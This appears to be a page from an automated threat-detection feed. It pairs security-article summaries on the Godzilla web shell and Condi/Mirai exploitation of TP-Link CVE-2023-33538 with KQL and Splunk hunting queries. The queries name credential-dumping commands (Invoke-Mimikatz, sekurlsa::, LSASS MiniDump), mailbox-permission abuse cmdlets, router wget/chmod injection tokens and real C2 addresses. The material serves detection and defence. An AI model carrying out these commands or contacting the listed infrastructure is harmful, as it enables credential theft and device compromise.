Rationale: The article specifically calls out 'enumerate accounts with ApplicationImpersonation role assignments' and 'granted full access to a delegated principal across mailboxes using Add-MailboxPermission' from a Godzilla-shelled Exchange host. The combination of those two cmdlets, especially under a w3wp.exe parent, is exactly the article-specific tradecraft and is rare in a healthy environment outside change-managed delegation. Corroborated against Unit42 / HC3 / Trend Micro Godzilla writeups confirming Godzilla executes filelessly under w3wp/JSP runtime.
Cross-checked against:
• https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/
• https://www.aha.org/cybersecurity-government-intelligence-reports/2024-11-12-hc3-tlp-clear-analyst-note-godzilla-webshell
• https://www.trendmicro.com/en_us/research/24/h/godzilla-fileless-backdoors.html
ATT&CKT1098.002T1114.002T1505.003
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe","pwsh.exe","powershell_ise.exe")
| where ProcessCommandLine has_any ("ApplicationImpersonation","Get-ManagementRoleAssignment","New-ManagementRoleAssignment","Add-MailboxPermission")
| extend EnumImpersonation = ProcessCommandLine matches regex @"(?i)Get-ManagementRoleAssignment.*ApplicationImpersonation|-Role\s+\"?ApplicationImpersonation"
| extend GrantFullAccess = ProcessCommandLine matches regex @"(?i)Add-MailboxPermission.*FullAccess|New-ManagementRoleAssignment.*ApplicationImpersonation"
| extend WebshellParent = InitiatingProcessFileName in~ ("w3wp.exe","UMWorkerProcess.exe","cmd.exe")
| where EnumImpersonation or GrantFullAccess
| summarize Cmds=make_set(ProcessCommandLine, 20), Parents=make_set(InitiatingProcessFileName), Users=make_set(AccountName), AnyEnum=max(toint(EnumImpersonation)), AnyGrant=max(toint(GrantFullAccess)), AnyWS=max(toint(WebshellParent)), Count=count() by DeviceName, bin(Timestamp, 1h)
| where (AnyEnum==1 and AnyGrant==1) or (AnyWS==1 and (AnyEnum==1 or AnyGrant==1))
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name IN ("powershell.exe","pwsh.exe","powershell_ise.exe") AND (Processes.process IN ("*ApplicationImpersonation*","*Get-ManagementRoleAssignment*","*New-ManagementRoleAssignment*","*Add-MailboxPermission*")) by host Processes.user Processes.parent_process_name Processes.process_name Processes.process | `drop_dm_object_name(Processes)` | eval webshell_parent=if(parent_process_name IN ("w3wp.exe","UMWorkerProcess.exe","cmd.exe"),1,0) | eval grant_fullaccess=if(match(process,"(?i)Add-MailboxPermission.*FullAccess") OR match(process,"(?i)New-ManagementRoleAssignment.*ApplicationImpersonation"),1,0) | eval enum_impersonation=if(match(process,"(?i)Get-ManagementRoleAssignment.*ApplicationImpersonation") OR match(process,"(?i)-Role\s+\"?ApplicationImpersonation"),1,0) | stats sum(webshell_parent) as ws_p sum(grant_fullaccess) as grant sum(enum_impersonation) as enum values(process) as cmdlines values(parent_process_name) as parents by host user | where (grant>=1 AND enum>=1) OR (ws_p>=1 AND (grant>=1 OR enum>=1))
Hunts the article's second-pivot tradecraft against three compromised Apache Tomcat servers: Godzilla web shell on Tomcat -> java.exe spawns PowerShell -> Invoke-Mimikatz to harvest credentials, observed running under a Schema Admin context. This is a very narrow parent/child + cmdline signature with extremely low false-positive surface.
Rationale: Article states 'compromised three Tomcat servers, dropped the Godzilla web shell, and launched the PowerShell-based Invoke-Mimikatz command... the attacker operated under Schema Admin'. Java/Tomcat parents almost never legitimately spawn powershell.exe or cmd.exe, and certainly never with Invoke-Mimikatz / sekurlsa:: in the cmdline -- this is an alerting-grade signature directly tied to the article's TTPs. Cross-referenced LevelBlue and Trend Micro reporting confirming Godzilla's Tomcat/Java execution context.
Cross-checked against:
• https://www.levelblue.com/blogs/spiderlabs-blog/apache-activemq-vulnerability-leads-to-stealthy-godzilla-webshell
• https://www.trendmicro.com/en_us/research/24/h/godzilla-fileless-backdoors.html
• https://malpedia.caad.fkie.fraunhofer.de/details/jsp.godzilla_webshell
ATT&CKT1059.001T1505.003T1003.001
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("java.exe","javaw.exe","tomcat.exe","tomcat9.exe","tomcat10.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe")
| where ProcessCommandLine has_any ("Invoke-Mimikatz","sekurlsa::","lsadump::","kerberos::","DumpCreds") or ProcessCommandLine matches regex @"(?i)IEX.*mimikatz|DownloadString.*mimikatz"
| project Timestamp, DeviceName, AccountName, AccountDomain, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessParentFileName
| extend HighPrivContext = AccountName has_any ("admin","adm","svc") or AccountDomain != DeviceName
| order by Timestamp desc
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name IN ("java.exe","javaw.exe","tomcat.exe","tomcat9.exe","tomcat10.exe","Tomcat9.exe","Tomcat10.exe") AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe") AND (Processes.process IN ("*Invoke-Mimikatz*","*IEX*Invoke-Mimikatz*","*DownloadString*mimikatz*","*sekurlsa::*","*lsadump::*","*kerberos::*")) by host Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process | `drop_dm_object_name(Processes)` | sort 0 - lastTime
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key.
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage.
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-04-1611 use cases3 techniques5 kill-chain phases detected
CVE-2023-33538 allows for command injection in TP-Link routers. We discuss exploitation attempts with payloads characteristic of Mirai botnet malware. The post A Deep Dive Into Attempted Exploitation of CVE-2023-33538 appeared first on Unit 42 .
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → File hash IOCs — endpoint file/process match · Article-specific behavioural hunt — A Deep Dive Into Attempted Exploitation of CVE-2023-33538 · [LLM] Condi botnet cross-arch payload retrieval (arm7 / top1hbt.* multi-arch loader)
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations · Network connections to article IPs / domains · [LLM] Condi/Mirai C2 beacon to 51.38.137[.]113 / cnc.vietdediserver[.]shop
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs · LSASS process access / dump (credential theft)
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
Network connections to article IPs / domainsCommand & ControlHigh
Outbound traffic to attacker infrastructure named in the article.
ATT&CKT1071
Data sourcesNetwork_Traffic.All_TrafficWebNetwork_Resolution.DNSDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP in ("51.38.137.113") or RemoteUrl has_any ("cnc.vietdediserver.shop", "bot.ddosvps.cc", "top1hbt.arm", "top1hbt.mips", "top1hbt.mpsl")
| project Timestamp, DeviceName, ActionType, RemoteIP, RemotePort, RemoteUrl,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.dest IN ("51.38.137.113")
by All_Traffic.src, All_Traffic.dest, All_Traffic.dest_port
| `drop_dm_object_name(All_Traffic)`
| append
[| tstats `summariesonly` count from datamodel=Web
where Web.dest IN ("cnc.vietdediserver.shop", "bot.ddosvps.cc", "top1hbt.arm", "top1hbt.mips", "top1hbt.mpsl")
by Web.src, Web.dest, Web.url, Web.user
| `drop_dm_object_name(Web)`]
| append
[| tstats `summariesonly` count from datamodel=Network_Resolution.DNS
where DNS.query IN ("cnc.vietdediserver.shop", "bot.ddosvps.cc", "top1hbt.arm", "top1hbt.mips", "top1hbt.mpsl")
by DNS.src, DNS.query, DNS.answer
| `drop_dm_object_name(DNS)`]
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Encoded or obfuscated PowerShell — common across loaders, recon, and post-exploitation.
ATT&CKT1059.001T1027
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine matches regex @"(?i)(-enc|encodedcommand|frombase64string|-nop|-w\s+hidden|invoke-expression|iex\s*\(|downloadstring|net\.webclient)"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("powershell.exe","pwsh.exe")
AND (Processes.process="*-enc *" OR Processes.process="*EncodedCommand*"
OR Processes.process="*FromBase64String*" OR Processes.process="*-nop*"
OR Processes.process="*-w hidden*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*IEX(*" OR Processes.process="*DownloadString*"
OR Processes.process="*Net.WebClient*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where Filesystem.file_hash IN ("3fbd2a2e82ceb5e91eadbad02cb45ac618324da9b1895d81ebe7de765dca30e7", "4caaa18982cd4056fead54b98d57f9a2a1ddd654cf19a7ba2366dfadbd6033da", "9df711c3aef2bba17b622ddfd955452f8d8eb55899528fbc13d9540c52f13402", "7bbb21fec19512d932b7a92652ed0c8f0fedea89f34b9d6f267cf39de0eb9b20", "00078aeeaca54b5d3c1237e964e9f956690b782e4ea160d81edc3c6b44e7f620", "534b654531a6a540a144da9545ee343e1046f843d7de4c1091b46c3ee66a508b", "919f292a07a37f163f88527e725406187c8ecc637387ad24853fe49ce4e6ddf4", "c321933e4e5970ba7299fe21778dab9398994c22ca0ba0422c6cbc3fbb95ea26", "56f21f412e898ad9e3ee05d5f44c44d9d7bcb9ecbfbdb9de11b8fa5a637aeef6")
by Filesystem.dest, Filesystem.user, Filesystem.file_path, Filesystem.file_name, Filesystem.file_hash
| `drop_dm_object_name(Filesystem)`
| append
[| tstats `summariesonly` count from datamodel=Endpoint.Processes
where Processes.process_hash IN ("3fbd2a2e82ceb5e91eadbad02cb45ac618324da9b1895d81ebe7de765dca30e7", "4caaa18982cd4056fead54b98d57f9a2a1ddd654cf19a7ba2366dfadbd6033da", "9df711c3aef2bba17b622ddfd955452f8d8eb55899528fbc13d9540c52f13402", "7bbb21fec19512d932b7a92652ed0c8f0fedea89f34b9d6f267cf39de0eb9b20", "00078aeeaca54b5d3c1237e964e9f956690b782e4ea160d81edc3c6b44e7f620", "534b654531a6a540a144da9545ee343e1046f843d7de4c1091b46c3ee66a508b", "919f292a07a37f163f88527e725406187c8ecc637387ad24853fe49ce4e6ddf4", "c321933e4e5970ba7299fe21778dab9398994c22ca0ba0422c6cbc3fbb95ea26", "56f21f412e898ad9e3ee05d5f44c44d9d7bcb9ecbfbdb9de11b8fa5a637aeef6")
by Processes.dest, Processes.user, Processes.process_name, Processes.process_hash
| `drop_dm_object_name(Processes)`]
Article-specific behavioural hunt — A Deep Dive Into Attempted Exploitation of CVE-2023-33538InstallationHigh
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1204.002
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — A Deep Dive Into Attempted Exploitation of CVE-2023-33538
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FolderPath has_any ("/tmp/arm7", "/etc/shadow", "/etc/rc.d/rcS"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — A Deep Dive Into Attempted Exploitation of CVE-2023-33538 ```
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_path="*/tmp/arm7*" OR Filesystem.file_path="*/etc/shadow*" OR Filesystem.file_path="*/etc/rc.d/rcS*")
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
Hunts inbound HTTP GET requests to the TP-Link router endpoint /userRpm/WlanNetworkRpm.htm where the ssid or ssid1 query parameter is abused to inject wget+chmod+tplink loader commands as observed in the in-the-wild Condi/Mirai exploitation of CVE-2023-33538. Pivots on the article-specific URI, parameter, and shell-command tokens to catch the botnet's drop-and-execute pattern.
Rationale: Combines the exact vulnerable endpoint (/userRpm/WlanNetworkRpm.htm), both the buggy (ssid) and real (ssid1) parameters Unit42 documented, and the Condi loader's literal wget/chmod 777/tplink shell tokens. Cross-checked with Rewterz, SecurityWeek and GBHackers reporting the same payload structure.
Cross-checked against:
• https://rewterz.com/threat-advisory/mirai-malware-targets-tp-link-routers-via-cve-2023-33538-active-iocs
• https://www.securityweek.com/hackers-fail-to-exploit-flaw-in-discontinued-tp-link-routers/
• https://gbhackers.com/tp-link-routers/
• https://securityaffairs.com/191040/hacking/cve-2023-33538-under-attack-for-a-year-but-exploitation-still-unsuccessful.html
ATT&CKT1190T1059.004T1105
Data sourcesWeb.Web
// Requires firewall/proxy logs forwarded to Sentinel; Defender DeviceNetworkEvents has limited URL visibility but RemoteUrl is populated for some sensors
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteUrl has "/userRpm/WlanNetworkRpm.htm"
| where RemoteUrl has_any ("ssid1=", "ssid=")
| where RemoteUrl has_any ("wget", "chmod", "%20wget%20", "/tmp/", "tplink", "arm7")
| project Timestamp, DeviceName, ActionType, RemoteIP, RemoteUrl, InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.url) as url values(Web.src) as src values(Web.dest) as dest values(Web.http_user_agent) as ua from datamodel=Web where Web.http_method="GET" Web.url="*/userRpm/WlanNetworkRpm.htm*" (Web.url="*ssid1=*" OR Web.url="*ssid=*") (Web.url="*wget*" OR Web.url="*chmod*" OR Web.url="*/tmp/*" OR Web.url="*tplink*" OR Web.url="*arm7*") by Web.dest Web.src | `drop_dm_object_name(Web)` | eval kev="CVE-2023-33538"
[LLM] Condi/Mirai C2 beacon to 51.38.137[.]113 / cnc.vietdediserver[.]shopCommand & ControlHigh
Alerts on any DNS resolution or outbound network connection from internal hosts (especially IoT/router segments) to the hardcoded Condi C2 IP 51.38.137.113 or the domain cnc.vietdediserver.shop, which Unit42 confirmed hosts the arm7 loader and serves the cross-architecture top1hbt.* updates. Catches both the initial wget pull and the subsequent socket-level beacon to TCP/80.
Rationale: 51.38.137.113 is hardcoded in the arm7 binary's update_bins() (little-endian 0x71892633) and resolves cnc.vietdediserver.shop per Unit42; the IP and domain are also listed by Rewterz and GBHackers IOC bundles, satisfying the second-source rule.
Cross-checked against:
• https://rewterz.com/threat-advisory/mirai-malware-targets-tp-link-routers-via-cve-2023-33538-active-iocs
• https://gbhackers.com/tp-link-routers/
• https://cybersecuritynews.com/hackers-target-tp-link-routers/
ATT&CKT1071.001T1583.004T1568
Data sourcesNetwork_Traffic.All_TrafficNetwork_Resolution.DNS
let c2_ips = dynamic(["51.38.137.113"]);
let c2_domains = dynamic(["cnc.vietdediserver.shop","vietdediserver.shop","bot.ddosvps.cc","ddosvps.cc"]);
union
(DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteIP in (c2_ips) or RemoteUrl has_any (c2_domains)
| project Timestamp, DeviceName, ActionType, RemoteIP, RemotePort, RemoteUrl, InitiatingProcessFileName, InitiatingProcessCommandLine),
(DeviceEvents
| where Timestamp > ago(30d)
| where ActionType == "DnsQueryResponse"
| where AdditionalFields has_any (c2_domains)
| project Timestamp, DeviceName, ActionType, AdditionalFields, InitiatingProcessFileName)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(All_Traffic.src) as src values(All_Traffic.dest_port) as dest_port from datamodel=Network_Traffic where All_Traffic.dest="51.38.137.113" by All_Traffic.dest All_Traffic.app | `drop_dm_object_name(All_Traffic)` | append [| tstats summariesonly=t count from datamodel=Network_Resolution where DNS.query IN ("cnc.vietdediserver.shop","*.vietdediserver.shop","bot.ddosvps.cc","*.ddosvps.cc") by DNS.src DNS.query DNS.answer | `drop_dm_object_name(DNS)`] | eval threat="Condi/Mirai CVE-2023-33538"
Hunts for HTTP downloads of the Condi loader filenames (arm7, top1hbt.arm, top1hbt.arm6, top1hbt.mips, top1hbt.mpsl, top1hbt.*) over plain HTTP — the arm7 binary's httpd_start() spreads itself by serving these eight architecture-specific ELFs to other compromised peers, so seeing this URI pattern internally indicates a peer-to-peer Condi update fetch.
Rationale: top1hbt.* prefix and the arm7 filename are explicit in Unit42's update_bins() decomp and are listed in the article's IOC table; the eight-architecture iteration (arm/arm6/mips/mpsl/...) is unique to this Condi variant rather than a generic Mirai indicator.
Cross-checked against:
• https://unit42.paloaltonetworks.com/exploitation-of-cve-2023-33538/
• https://rewterz.com/threat-advisory/mirai-malware-targets-tp-link-routers-via-cve-2023-33538-active-iocs
ATT&CKT1105T1571T1129
Data sourcesWeb.WebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where ActionType in ("ConnectionSuccess","HttpConnectionInspected")
| where RemoteUrl matches regex @"(?i)(top1hbt\.(arm[0-9]?|mips|mpsl|sh4|x86|i586|i686|ppc|spc|m68k)|/arm7(\?|$))"
| project Timestamp, DeviceName, RemoteIP, RemotePort, RemoteUrl, InitiatingProcessFileName, InitiatingProcessCommandLine
| join kind=leftouter (DeviceFileEvents | where FileName matches regex @"(?i)^(arm7|top1hbt\.)") on DeviceName
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.url) as url values(Web.dest) as dest values(Web.http_user_agent) as ua values(Web.http_method) as method from datamodel=Web where (Web.url="*top1hbt.*" OR Web.url="*/arm7*" OR Web.url="*/mips*" OR Web.url="*/mpsl*") (Web.http_user_agent="Wget*" OR Web.http_user_agent="curl*" OR Web.http_user_agent="-" OR Web.http_method="GET") by Web.src Web.dest | `drop_dm_object_name(Web)` | where match(url,"(?i)(top1hbt\.(arm[0-9]?|mips|mpsl|sh4|x86|i586|i686|ppc|spc|m68k)|/arm7($|\?))") | eval threat="Condi top1hbt loader"
2026-04-161 use case0 techniques2 kill-chain phases detected
Cisco Talos’ Vulnerability Discovery & Research team recently disclosed one Foxit Reader vulnerability, and six LibRaw file reader vulnerabilities. The vulnerabilities mentioned in this blog post have been patched by their respective vendors, all in adherence to Cisco’s third-party vulnerability disclosure policy .     For
2026-04-169 use cases5 techniques5 kill-chain phases detected
Thor provides an overview of the Q1 2026 vulnerability statistics, highlighting key trends in legacy CVEs and the evolving impact of AI on the threat landscape.
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender · [LLM] Inbound n8n webhook URL pivots to executable/MSI download (Talos n8n abuse campaign)
